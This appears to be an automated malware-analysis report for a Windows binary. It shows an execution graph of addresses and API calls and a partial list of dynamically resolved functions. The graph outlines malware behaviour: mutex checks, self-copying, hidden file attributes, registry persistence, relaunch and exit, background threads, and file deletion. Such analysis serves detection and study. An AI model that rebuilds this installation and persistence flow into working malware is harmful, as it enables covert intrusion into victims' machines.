                                                                                        execution_graph 47111 434887 47112 434893 ___DestructExceptionObject 47111->47112 47138 434596 47112->47138 47114 43489a 47116 4348c3 47114->47116 47426 4349f9 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_get_show_window_mode 47114->47426 47125 434902 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 47116->47125 47427 444251 5 API calls TranslatorGuardHandler 47116->47427 47118 4348dc 47120 4348e2 ___DestructExceptionObject 47118->47120 47428 4441f5 5 API calls TranslatorGuardHandler 47118->47428 47121 434962 47149 434b14 47121->47149 47125->47121 47429 4433e7 35 API calls 6 library calls 47125->47429 47131 434984 47132 43498e 47131->47132 47431 44341f 28 API calls _Atexit 47131->47431 47134 434997 47132->47134 47432 4433c2 28 API calls _Atexit 47132->47432 47433 43470d 13 API calls 2 library calls 47134->47433 47137 43499f 47137->47120 47139 43459f 47138->47139 47434 434c52 IsProcessorFeaturePresent 47139->47434 47141 4345ab 47435 438f31 10 API calls 4 library calls 47141->47435 47143 4345b0 47144 4345b4 47143->47144 47436 4440bf IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 47143->47436 47144->47114 47146 4345bd 47147 4345cb 47146->47147 47437 438f5a 8 API calls 3 library calls 47146->47437 47147->47114 47438 436e90 47149->47438 47152 434968 47153 4441a2 47152->47153 47440 44f059 47153->47440 47155 4441ab 47156 434971 47155->47156 47444 446815 35 API calls 47155->47444 47158 40e9c5 47156->47158 47446 41cb50 LoadLibraryA GetProcAddress 47158->47446 47160 40e9e1 GetModuleFileNameW 47451 40f3c3 47160->47451 47162 40e9fd 47466 4020f6 47162->47466 47165 4020f6 28 API calls 47166 40ea1b 47165->47166 47472 41be1b 47166->47472 47170 40ea2d 47498 401e8d 47170->47498 47172 40ea36 47173 40ea93 47172->47173 47174 40ea49 47172->47174 47504 401e65 47173->47504 47703 40fbb3 116 API calls 47174->47703 47177 40eaa3 47181 401e65 22 API calls 47177->47181 47178 40ea5b 47179 401e65 22 API calls 47178->47179 47180 40ea67 47179->47180 47704 410f37 36 API calls __EH_prolog 47180->47704 47182 40eac2 47181->47182 47509 40531e 47182->47509 47185 40ead1 47514 406383 47185->47514 47186 40ea79 47705 40fb64 77 API calls 47186->47705 47190 40ea82 47706 40f3b0 70 API calls 47190->47706 47196 401fd8 11 API calls 47198 40eefb 47196->47198 47197 401fd8 11 API calls 47199 40eafb 47197->47199 47430 4432f6 GetModuleHandleW 47198->47430 47200 401e65 22 API calls 47199->47200 47201 40eb04 47200->47201 47531 401fc0 47201->47531 47203 40eb0f 47204 401e65 22 API calls 47203->47204 47205 40eb28 47204->47205 47206 401e65 22 API calls 47205->47206 47207 40eb43 47206->47207 47208 40ebae 47207->47208 47707 406c1e 28 API calls 47207->47707 47209 401e65 22 API calls 47208->47209 47216 40ebbb 47209->47216 47211 40eb70 47212 401fe2 28 API calls 47211->47212 47213 40eb7c 47212->47213 47214 401fd8 11 API calls 47213->47214 47217 40eb85 47214->47217 47215 40ec02 47535 40d069 47215->47535 47216->47215 47220 413549 3 API calls 47216->47220 47708 413549 RegOpenKeyExA 47217->47708 47219 40ec08 47221 40ea8b 47219->47221 47538 41b2c3 47219->47538 47227 40ebe6 47220->47227 47221->47196 47225 40ec23 47228 40ec76 47225->47228 47555 407716 47225->47555 47226 40f34f 47745 4139a9 30 API calls 47226->47745 47227->47215 47711 4139a9 30 API calls 47227->47711 47230 401e65 22 API calls 47228->47230 47233 40ec7f 47230->47233 47242 40ec90 47233->47242 47243 40ec8b 47233->47243 47235 40f365 47746 412475 65 API calls ___scrt_get_show_window_mode 47235->47746 47236 40ec42 47712 407738 30 API calls 47236->47712 47237 40ec4c 47240 401e65 22 API calls 47237->47240 47250 40ec55 47240->47250 47241 41bc5e 28 API calls 47245 40f37f 47241->47245 47248 401e65 22 API calls 47242->47248 47715 407755 CreateProcessA CloseHandle CloseHandle ___scrt_get_show_window_mode 47243->47715 47244 40ec47 47713 407260 97 API calls 47244->47713 47747 413a23 RegOpenKeyExW RegDeleteValueW 47245->47747 47249 40ec99 47248->47249 47559 41bc5e 47249->47559 47250->47228 47255 40ec71 47250->47255 47252 40eca4 47563 401f13 47252->47563 47714 407260 97 API calls 47255->47714 47256 40f392 47259 401f09 11 API calls 47256->47259 47261 40f39c 47259->47261 47263 401f09 11 API calls 47261->47263 47265 40f3a5 47263->47265 47264 401e65 22 API calls 47266 40ecc1 47264->47266 47748 40dd42 27 API calls 47265->47748 47270 401e65 22 API calls 47266->47270 47268 40f3aa 47749 414f2a 167 API calls _strftime 47268->47749 47272 40ecdb 47270->47272 47273 401e65 22 API calls 47272->47273 47274 40ecf5 47273->47274 47275 401e65 22 API calls 47274->47275 47277 40ed0e 47275->47277 47276 40ed7b 47279 40ed8a 47276->47279 47284 40ef06 ___scrt_get_show_window_mode 47276->47284 47277->47276 47278 401e65 22 API calls 47277->47278 47282 40ed23 _wcslen 47278->47282 47280 401e65 22 API calls 47279->47280 47286 40ee0f 47279->47286 47281 40ed9c 47280->47281 47283 401e65 22 API calls 47281->47283 47282->47276 47287 401e65 22 API calls 47282->47287 47285 40edae 47283->47285 47718 4136f8 RegOpenKeyExA RegQueryValueExA RegCloseKey 47284->47718 47290 401e65 22 API calls 47285->47290 47308 40ee0a ___scrt_get_show_window_mode 47286->47308 47288 40ed3e 47287->47288 47291 401e65 22 API calls 47288->47291 47292 40edc0 47290->47292 47293 40ed53 47291->47293 47295 401e65 22 API calls 47292->47295 47575 40da34 47293->47575 47294 40ef51 47296 401e65 22 API calls 47294->47296 47298 40ede9 47295->47298 47299 40ef76 47296->47299 47304 401e65 22 API calls 47298->47304 47719 402093 47299->47719 47301 401f13 28 API calls 47303 40ed72 47301->47303 47306 401f09 11 API calls 47303->47306 47307 40edfa 47304->47307 47305 40ef88 47725 41376f 14 API calls 47305->47725 47306->47276 47633 40cdf9 47307->47633 47308->47286 47716 413947 31 API calls 47308->47716 47312 40ef9e 47314 401e65 22 API calls 47312->47314 47313 40eea3 ctype 47316 401e65 22 API calls 47313->47316 47315 40efaa 47314->47315 47726 43baac 39 API calls _strftime 47315->47726 47319 40eeba 47316->47319 47318 40efb7 47320 40efe4 47318->47320 47727 41cd9b 86 API calls ___scrt_get_show_window_mode 47318->47727 47319->47294 47321 401e65 22 API calls 47319->47321 47325 402093 28 API calls 47320->47325 47323 40eed7 47321->47323 47326 41bc5e 28 API calls 47323->47326 47324 40efc8 CreateThread 47324->47320 48027 41d45d 10 API calls 47324->48027 47327 40eff9 47325->47327 47328 40eee3 47326->47328 47329 402093 28 API calls 47327->47329 47717 40f474 103 API calls 47328->47717 47331 40f008 47329->47331 47728 41b4ef 79 API calls 47331->47728 47332 40eee8 47332->47294 47334 40eeef 47332->47334 47334->47221 47335 40f00d 47336 401e65 22 API calls 47335->47336 47337 40f019 47336->47337 47338 401e65 22 API calls 47337->47338 47339 40f02b 47338->47339 47340 401e65 22 API calls 47339->47340 47341 40f04b 47340->47341 47729 43baac 39 API calls _strftime 47341->47729 47343 40f058 47344 401e65 22 API calls 47343->47344 47345 40f063 47344->47345 47346 401e65 22 API calls 47345->47346 47347 40f074 47346->47347 47348 401e65 22 API calls 47347->47348 47349 40f089 47348->47349 47350 401e65 22 API calls 47349->47350 47351 40f09a 47350->47351 47352 40f0a1 StrToIntA 47351->47352 47730 409de4 169 API calls _wcslen 47352->47730 47354 40f0b3 47355 401e65 22 API calls 47354->47355 47357 40f0bc 47355->47357 47356 40f101 47360 401e65 22 API calls 47356->47360 47357->47356 47731 4344ea 47357->47731 47365 40f111 47360->47365 47361 401e65 22 API calls 47362 40f0e4 47361->47362 47363 40f0eb CreateThread 47362->47363 47363->47356 48023 419fb4 102 API calls 2 library calls 47363->48023 47364 40f159 47366 401e65 22 API calls 47364->47366 47365->47364 47367 4344ea new 22 API calls 47365->47367 47372 40f162 47366->47372 47368 40f126 47367->47368 47369 401e65 22 API calls 47368->47369 47370 40f138 47369->47370 47373 40f13f CreateThread 47370->47373 47371 40f1cc 47374 401e65 22 API calls 47371->47374 47372->47371 47375 401e65 22 API calls 47372->47375 47373->47364 48028 419fb4 102 API calls 2 library calls 47373->48028 47377 40f1d5 47374->47377 47376 40f17e 47375->47376 47379 401e65 22 API calls 47376->47379 47378 40f21a 47377->47378 47381 401e65 22 API calls 47377->47381 47741 41b60d 79 API calls 47378->47741 47382 40f193 47379->47382 47384 40f1ea 47381->47384 47738 40d9e8 31 API calls 47382->47738 47383 40f223 47385 401f13 28 API calls 47383->47385 47388 401e65 22 API calls 47384->47388 47387 40f22e 47385->47387 47390 401f09 11 API calls 47387->47390 47391 40f1ff 47388->47391 47389 40f1a6 47392 401f13 28 API calls 47389->47392 47393 40f237 CreateThread 47390->47393 47739 43baac 39 API calls _strftime 47391->47739 47395 40f1b2 47392->47395 47396 40f264 47393->47396 47397 40f258 CreateThread 47393->47397 48022 40f7a7 120 API calls 47393->48022 47398 401f09 11 API calls 47395->47398 47399 40f279 47396->47399 47400 40f26d CreateThread 47396->47400 47397->47396 48024 4120f7 137 API calls 47397->48024 47402 40f1bb CreateThread 47398->47402 47404 40f2cc 47399->47404 47406 402093 28 API calls 47399->47406 47400->47399 48025 4126db 38 API calls ___scrt_get_show_window_mode 47400->48025 47402->47371 48026 401be9 49 API calls _strftime 47402->48026 47403 40f20c 47740 40c162 7 API calls 47403->47740 47743 4134ff RegOpenKeyExA RegQueryValueExA RegCloseKey 47404->47743 47407 40f29c 47406->47407 47742 4052fd 28 API calls 47407->47742 47410 40f2e4 47410->47265 47414 41bc5e 28 API calls 47410->47414 47416 40f2fd 47414->47416 47744 41361b 31 API calls 47416->47744 47420 40f313 47421 401f09 11 API calls 47420->47421 47424 40f31e 47421->47424 47422 40f346 DeleteFileW 47423 40f34d 47422->47423 47422->47424 47423->47241 47424->47422 47424->47423 47425 40f334 Sleep 47424->47425 47425->47424 47426->47114 47427->47118 47428->47125 47429->47121 47430->47131 47431->47132 47432->47134 47433->47137 47434->47141 47435->47143 47436->47146 47437->47144 47439 434b27 GetStartupInfoW 47438->47439 47439->47152 47441 44f06b 47440->47441 47442 44f062 47440->47442 47441->47155 47445 44ef58 48 API calls 4 library calls 47442->47445 47444->47155 47445->47441 47447 41cb8f LoadLibraryA GetProcAddress 47446->47447 47448 41cb7f GetModuleHandleA GetProcAddress 47446->47448 47449 41cbb8 44 API calls 47447->47449 47450 41cba8 LoadLibraryA GetProcAddress 47447->47450 47448->47447 47449->47160 47450->47449 47750 41b4a8 FindResourceA 47451->47750 47455 40f3ed ctype 47760 4020b7 47455->47760 47458 401fe2 28 API calls 47459 40f413 47458->47459 47460 401fd8 11 API calls 47459->47460 47461 40f41c 47460->47461 47462 43bd51 _Yarn 21 API calls 47461->47462 47463 40f42d ctype 47462->47463 47766 406dd8 47463->47766 47465 40f460 47465->47162 47467 40210c 47466->47467 47468 4023ce 11 API calls 47467->47468 47469 402126 47468->47469 47470 402569 28 API calls 47469->47470 47471 402134 47470->47471 47471->47165 47820 4020df 47472->47820 47474 401fd8 11 API calls 47475 41bed0 47474->47475 47477 401fd8 11 API calls 47475->47477 47476 41bea0 47826 4041a2 28 API calls 47476->47826 47480 41bed8 47477->47480 47482 401fd8 11 API calls 47480->47482 47481 41beac 47483 401fe2 28 API calls 47481->47483 47485 40ea24 47482->47485 47486 41beb5 47483->47486 47484 401fe2 28 API calls 47490 41be2e 47484->47490 47494 40fb17 47485->47494 47487 401fd8 11 API calls 47486->47487 47489 41bebd 47487->47489 47488 401fd8 11 API calls 47488->47490 47827 41ce34 28 API calls 47489->47827 47490->47476 47490->47484 47490->47488 47493 41be9e 47490->47493 47824 4041a2 28 API calls 47490->47824 47825 41ce34 28 API calls 47490->47825 47493->47474 47495 40fb23 47494->47495 47497 40fb2a 47494->47497 47828 402163 11 API calls 47495->47828 47497->47170 47499 402163 47498->47499 47500 40219f 47499->47500 47829 402730 11 API calls 47499->47829 47500->47172 47502 402184 47830 402712 11 API calls std::_Deallocate 47502->47830 47505 401e6d 47504->47505 47507 401e75 47505->47507 47831 402158 22 API calls 47505->47831 47507->47177 47510 4020df 11 API calls 47509->47510 47511 40532a 47510->47511 47832 4032a0 47511->47832 47513 405346 47513->47185 47836 4051ef 47514->47836 47516 406391 47840 402055 47516->47840 47519 401fe2 47520 401ff1 47519->47520 47527 402039 47519->47527 47521 4023ce 11 API calls 47520->47521 47522 401ffa 47521->47522 47523 40203c 47522->47523 47525 402015 47522->47525 47524 40267a 11 API calls 47523->47524 47524->47527 47855 403098 28 API calls 47525->47855 47528 401fd8 47527->47528 47529 4023ce 11 API calls 47528->47529 47530 401fe1 47529->47530 47530->47197 47532 401fd2 47531->47532 47533 401fc9 47531->47533 47532->47203 47856 4025e0 28 API calls 47533->47856 47857 401fab 47535->47857 47537 40d073 CreateMutexA GetLastError 47537->47219 47858 41bfb7 47538->47858 47543 401fe2 28 API calls 47544 41b2ff 47543->47544 47545 401fd8 11 API calls 47544->47545 47547 41b307 47545->47547 47546 41b35d 47546->47225 47547->47546 47548 4135a6 31 API calls 47547->47548 47549 41b330 47548->47549 47550 41b33b StrToIntA 47549->47550 47551 41b352 47550->47551 47552 41b349 47550->47552 47554 401fd8 11 API calls 47551->47554 47866 41cf69 22 API calls 47552->47866 47554->47546 47556 40772a 47555->47556 47557 413549 3 API calls 47556->47557 47558 407731 47557->47558 47558->47236 47558->47237 47560 41bc72 47559->47560 47867 40b904 47560->47867 47562 41bc7a 47562->47252 47564 401f22 47563->47564 47565 401f6a 47563->47565 47566 402252 11 API calls 47564->47566 47572 401f09 47565->47572 47567 401f2b 47566->47567 47568 401f6d 47567->47568 47569 401f46 47567->47569 47900 402336 47568->47900 47899 40305c 28 API calls 47569->47899 47573 402252 11 API calls 47572->47573 47574 401f12 47573->47574 47574->47264 47904 401f86 47575->47904 47578 40da70 47914 41b5b4 29 API calls 47578->47914 47579 40daa5 47583 41bfb7 GetCurrentProcess 47579->47583 47580 40da66 47582 40db99 GetLongPathNameW 47580->47582 47908 40417e 47582->47908 47586 40daaa 47583->47586 47584 40da79 47589 401f13 28 API calls 47584->47589 47587 40db00 47586->47587 47588 40daae 47586->47588 47591 40417e 28 API calls 47587->47591 47592 40417e 28 API calls 47588->47592 47593 40da83 47589->47593 47595 40db0e 47591->47595 47596 40dabc 47592->47596 47599 401f09 11 API calls 47593->47599 47594 40417e 28 API calls 47597 40dbbd 47594->47597 47602 40417e 28 API calls 47595->47602 47603 40417e 28 API calls 47596->47603 47917 40ddd1 28 API calls 47597->47917 47599->47580 47600 40dbd0 47918 402fa5 28 API calls 47600->47918 47605 40db24 47602->47605 47606 40dad2 47603->47606 47604 40dbdb 47919 402fa5 28 API calls 47604->47919 47916 402fa5 28 API calls 47605->47916 47915 402fa5 28 API calls 47606->47915 47610 40dbe5 47613 401f09 11 API calls 47610->47613 47611 40db2f 47614 401f13 28 API calls 47611->47614 47612 40dadd 47615 401f13 28 API calls 47612->47615 47616 40dbef 47613->47616 47617 40db3a 47614->47617 47618 40dae8 47615->47618 47619 401f09 11 API calls 47616->47619 47620 401f09 11 API calls 47617->47620 47621 401f09 11 API calls 47618->47621 47622 40dbf8 47619->47622 47623 40db43 47620->47623 47624 40daf1 47621->47624 47625 401f09 11 API calls 47622->47625 47626 401f09 11 API calls 47623->47626 47627 401f09 11 API calls 47624->47627 47628 40dc01 47625->47628 47626->47593 47627->47593 47629 401f09 11 API calls 47628->47629 47630 40dc0a 47629->47630 47631 401f09 11 API calls 47630->47631 47632 40dc13 47631->47632 47632->47301 47634 40ce0c _wcslen 47633->47634 47635 40ce60 47634->47635 47636 40ce16 47634->47636 47637 40da34 31 API calls 47635->47637 47639 40ce1f CreateDirectoryW 47636->47639 47638 40ce72 47637->47638 47640 401f13 28 API calls 47638->47640 47921 40915b 47639->47921 47642 40ce5e 47640->47642 47644 401f09 11 API calls 47642->47644 47643 40ce3b 47955 403014 47643->47955 47650 40ce89 47644->47650 47647 401f13 28 API calls 47648 40ce55 47647->47648 47649 401f09 11 API calls 47648->47649 47649->47642 47651 40cea2 47650->47651 47652 40cebf 47650->47652 47654 40cd0d 31 API calls 47651->47654 47653 40cec8 CopyFileW 47652->47653 47655 40cf99 47653->47655 47656 40ceda _wcslen 47653->47656 47687 40ceb3 47654->47687 47928 40cd0d 47655->47928 47656->47655 47658 40cef6 47656->47658 47659 40cf49 47656->47659 47662 40da34 31 API calls 47658->47662 47661 40da34 31 API calls 47659->47661 47666 40cf4f 47661->47666 47667 40cefc 47662->47667 47663 40cfb3 47672 40cfbc SetFileAttributesW 47663->47672 47664 40cfdf 47665 40d027 CloseHandle 47664->47665 47669 40417e 28 API calls 47664->47669 47954 401f04 47665->47954 47670 401f13 28 API calls 47666->47670 47671 401f13 28 API calls 47667->47671 47674 40cff5 47669->47674 47702 40cf43 47670->47702 47675 40cf08 47671->47675 47686 40cfcb _wcslen 47672->47686 47673 40d043 ShellExecuteW 47676 40d060 ExitProcess 47673->47676 47677 40d056 47673->47677 47678 41bc5e 28 API calls 47674->47678 47679 401f09 11 API calls 47675->47679 47681 40d069 CreateMutexA GetLastError 47677->47681 47682 40d008 47678->47682 47680 40cf11 47679->47680 47685 40915b 28 API calls 47680->47685 47681->47687 47961 413814 RegCreateKeyW 47682->47961 47683 401f09 11 API calls 47684 40cf61 47683->47684 47690 40cf6d CreateDirectoryW 47684->47690 47688 40cf25 47685->47688 47686->47664 47689 40cfdc SetFileAttributesW 47686->47689 47687->47308 47691 403014 28 API calls 47688->47691 47689->47664 47960 401f04 47690->47960 47694 40cf31 47691->47694 47697 401f13 28 API calls 47694->47697 47699 40cf3a 47697->47699 47698 401f09 11 API calls 47698->47665 47701 401f09 11 API calls 47699->47701 47701->47702 47702->47683 47703->47178 47704->47186 47705->47190 47707->47211 47709 40eba4 47708->47709 47710 413573 RegQueryValueExA RegCloseKey 47708->47710 47709->47208 47709->47226 47710->47709 47711->47215 47712->47244 47713->47237 47714->47228 47715->47242 47716->47313 47717->47332 47718->47294 47720 40209b 47719->47720 47721 4023ce 11 API calls 47720->47721 47722 4020a6 47721->47722 48014 4024ed 47722->48014 47725->47312 47726->47318 47727->47324 47728->47335 47729->47343 47730->47354 47737 4344ef 47731->47737 47732 43bd51 _Yarn 21 API calls 47732->47737 47733 40f0d1 47733->47361 47737->47732 47737->47733 48018 442f80 7 API calls 2 library calls 47737->48018 48019 434c35 RaiseException Concurrency::cancel_current_task __CxxThrowException@8 47737->48019 48020 43526e RaiseException Concurrency::cancel_current_task __CxxThrowException@8 47737->48020 47738->47389 47739->47403 47740->47378 47741->47383 47743->47410 47744->47420 47745->47235 47747->47256 47748->47268 48021 41ad17 104 API calls 47749->48021 47751 41b4c5 LoadResource LockResource SizeofResource 47750->47751 47752 40f3de 47750->47752 47751->47752 47753 43bd51 47752->47753 47758 446137 ___crtLCMapStringA 47753->47758 47754 446175 47770 4405dd 20 API calls __dosmaperr 47754->47770 47756 446160 RtlAllocateHeap 47757 446173 47756->47757 47756->47758 47757->47455 47758->47754 47758->47756 47769 442f80 7 API calls 2 library calls 47758->47769 47761 4020bf 47760->47761 47771 4023ce 47761->47771 47763 4020ca 47775 40250a 47763->47775 47765 4020d9 47765->47458 47767 4020b7 28 API calls 47766->47767 47768 406dec 47767->47768 47768->47465 47769->47758 47770->47757 47772 402428 47771->47772 47773 4023d8 47771->47773 47772->47763 47773->47772 47782 4027a7 11 API calls std::_Deallocate 47773->47782 47776 40251a 47775->47776 47777 402520 47776->47777 47778 402535 47776->47778 47783 402569 47777->47783 47793 4028e8 47778->47793 47781 402533 47781->47765 47782->47772 47804 402888 47783->47804 47785 40257d 47786 402592 47785->47786 47787 4025a7 47785->47787 47809 402a34 22 API calls 47786->47809 47789 4028e8 28 API calls 47787->47789 47792 4025a5 47789->47792 47790 40259b 47810 4029da 22 API calls 47790->47810 47792->47781 47794 4028f1 47793->47794 47795 402953 47794->47795 47796 4028fb 47794->47796 47818 4028a4 22 API calls 47795->47818 47799 402917 47796->47799 47800 402904 47796->47800 47802 402915 47799->47802 47803 4023ce 11 API calls 47799->47803 47812 402cae 47800->47812 47802->47781 47803->47802 47806 402890 47804->47806 47805 402898 47805->47785 47806->47805 47811 402ca3 22 API calls 47806->47811 47809->47790 47810->47792 47813 402cb8 __EH_prolog 47812->47813 47819 402e54 22 API calls 47813->47819 47815 4023ce 11 API calls 47817 402d92 47815->47817 47816 402d24 47816->47815 47817->47802 47819->47816 47821 4020e7 47820->47821 47822 4023ce 11 API calls 47821->47822 47823 4020f2 47822->47823 47823->47490 47824->47490 47825->47490 47826->47481 47827->47493 47828->47497 47829->47502 47830->47500 47833 4032aa 47832->47833 47834 4028e8 28 API calls 47833->47834 47835 4032c9 47833->47835 47834->47835 47835->47513 47837 4051fb 47836->47837 47846 405274 47837->47846 47839 405208 47839->47516 47841 402061 47840->47841 47842 4023ce 11 API calls 47841->47842 47843 40207b 47842->47843 47851 40267a 47843->47851 47847 405282 47846->47847 47850 4028a4 22 API calls 47847->47850 47852 40268b 47851->47852 47853 4023ce 11 API calls 47852->47853 47854 40208d 47853->47854 47854->47519 47855->47527 47856->47532 47859 41bfc4 GetCurrentProcess 47858->47859 47860 41b2d1 47858->47860 47859->47860 47861 4135a6 RegOpenKeyExA 47860->47861 47862 4135d4 RegQueryValueExA RegCloseKey 47861->47862 47863 4135fe 47861->47863 47862->47863 47864 402093 28 API calls 47863->47864 47865 413613 47864->47865 47865->47543 47866->47551 47868 40b90c 47867->47868 47873 402252 47868->47873 47870 40b917 47877 40b92c 47870->47877 47872 40b926 47872->47562 47874 4022ac 47873->47874 47875 40225c 47873->47875 47874->47870 47875->47874 47884 402779 11 API calls std::_Deallocate 47875->47884 47878 40b966 47877->47878 47879 40b938 47877->47879 47896 4028a4 22 API calls 47878->47896 47885 4027e6 47879->47885 47883 40b942 47883->47872 47884->47874 47886 4027ef 47885->47886 47887 402851 47886->47887 47888 4027f9 47886->47888 47898 4028a4 22 API calls 47887->47898 47891 402802 47888->47891 47892 402815 47888->47892 47897 402aea 28 API calls __EH_prolog 47891->47897 47893 402813 47892->47893 47895 402252 11 API calls 47892->47895 47893->47883 47895->47893 47897->47893 47899->47565 47901 402347 47900->47901 47902 402252 11 API calls 47901->47902 47903 4023c7 47902->47903 47903->47565 47905 401f8e 47904->47905 47906 402252 11 API calls 47905->47906 47907 401f99 47906->47907 47907->47578 47907->47579 47907->47580 47909 404186 47908->47909 47910 402252 11 API calls 47909->47910 47911 404191 47910->47911 47920 4041bc 28 API calls 47911->47920 47913 40419c 47913->47594 47914->47584 47915->47612 47916->47611 47917->47600 47918->47604 47919->47610 47920->47913 47922 401f86 11 API calls 47921->47922 47923 409167 47922->47923 47967 40314c 47923->47967 47925 409184 47971 40325d 47925->47971 47927 40918c 47927->47643 47929 40cd33 47928->47929 47930 40cd6f 47928->47930 47985 40b97c 47929->47985 47931 40cdb0 47930->47931 47933 40b97c 28 API calls 47930->47933 47934 40cdf1 47931->47934 47937 40b97c 28 API calls 47931->47937 47936 40cd86 47933->47936 47934->47663 47934->47664 47939 403014 28 API calls 47936->47939 47940 40cdc7 47937->47940 47938 403014 28 API calls 47941 40cd4f 47938->47941 47944 40cd90 47939->47944 47942 403014 28 API calls 47940->47942 47943 413814 14 API calls 47941->47943 47945 40cdd1 47942->47945 47946 40cd63 47943->47946 47947 413814 14 API calls 47944->47947 47948 413814 14 API calls 47945->47948 47949 401f09 11 API calls 47946->47949 47950 40cda4 47947->47950 47951 40cde5 47948->47951 47949->47930 47952 401f09 11 API calls 47950->47952 47953 401f09 11 API calls 47951->47953 47952->47931 47953->47934 47992 403222 47955->47992 47957 403022 47996 403262 47957->47996 47962 413866 47961->47962 47965 413829 47961->47965 47963 401f09 11 API calls 47962->47963 47964 40d01b 47963->47964 47964->47698 47966 413842 RegSetValueExW RegCloseKey 47965->47966 47966->47962 47968 403156 47967->47968 47969 4027e6 28 API calls 47968->47969 47970 403175 47968->47970 47969->47970 47970->47925 47972 40323f 47971->47972 47975 4036a6 47972->47975 47974 40324c 47974->47927 47976 402888 22 API calls 47975->47976 47977 4036b9 47976->47977 47978 40372c 47977->47978 47979 4036de 47977->47979 47984 4028a4 22 API calls 47978->47984 47982 4027e6 28 API calls 47979->47982 47983 4036f0 47979->47983 47982->47983 47983->47974 47986 401f86 11 API calls 47985->47986 47987 40b988 47986->47987 47988 40314c 28 API calls 47987->47988 47989 40b9a4 47988->47989 47990 40325d 28 API calls 47989->47990 47991 40b9b7 47990->47991 47991->47938 47993 40322e 47992->47993 48002 403618 47993->48002 47995 40323b 47995->47957 47997 40326e 47996->47997 47998 402252 11 API calls 47997->47998 47999 403288 47998->47999 48000 402336 11 API calls 47999->48000 48001 403031 48000->48001 48001->47647 48003 403626 48002->48003 48004 403644 48003->48004 48005 40362c 48003->48005 48007 40365c 48004->48007 48008 40369e 48004->48008 48006 4036a6 28 API calls 48005->48006 48012 403642 48006->48012 48010 4027e6 28 API calls 48007->48010 48007->48012 48013 4028a4 22 API calls 48008->48013 48010->48012 48012->47995 48015 4024f9 48014->48015 48016 40250a 28 API calls 48015->48016 48017 4020b1 48016->48017 48017->47305 48018->47737 48029 4127ee 61 API calls 48024->48029 48030 43be58 48032 43be64 _swprintf ___DestructExceptionObject 48030->48032 48031 43be72 48046 4405dd 20 API calls __dosmaperr 48031->48046 48032->48031 48034 43be9c 48032->48034 48041 445888 EnterCriticalSection 48034->48041 48036 43be77 _strftime ___DestructExceptionObject 48037 43bea7 48042 43bf48 48037->48042 48041->48037 48043 43bf56 48042->48043 48045 43beb2 48043->48045 48048 44976c 36 API calls 2 library calls 48043->48048 48047 43becf LeaveCriticalSection std::_Lockit::~_Lockit 48045->48047 48046->48036 48047->48036 48048->48043 48049 40165e 48050 401666 48049->48050 48051 401669 48049->48051 48052 4016a8 48051->48052 48054 401696 48051->48054 48053 4344ea new 22 API calls 48052->48053 48055 40169c 48053->48055 48056 4344ea new 22 API calls 48054->48056 48056->48055

                                                                                        Executed Functions

                                                                                        Function 0041CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176libraryloaderCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        APIs
                                                                                        • LoadLibraryA.KERNELBASE(Psapi,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB65
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CB6E
                                                                                        • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CB88
                                                                                        • LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040E9E1), ref: 0041CB9A
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CB9D
                                                                                        • LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040E9E1), ref: 0041CBAE
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CBB1
                                                                                        • LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040E9E1), ref: 0041CBC3
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CBC6
                                                                                        • LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040E9E1), ref: 0041CBD2
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CBD5
                                                                                        • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CBE9
                                                                                        • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CBFD
                                                                                        • LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040E9E1), ref: 0041CC0E
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC11
                                                                                        • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC25
                                                                                        • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC39
                                                                                        • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC4D
                                                                                        • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC61
                                                                                        • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC75
                                                                                        • LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040E9E1), ref: 0041CC83
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC86
                                                                                        • LoadLibraryA.KERNEL32(kernel32,GetConsoleWindow,?,?,?,?,0040E9E1), ref: 0041CC97
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 0041CC9A
                                                                                        • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040E9E1), ref: 0041CCA7
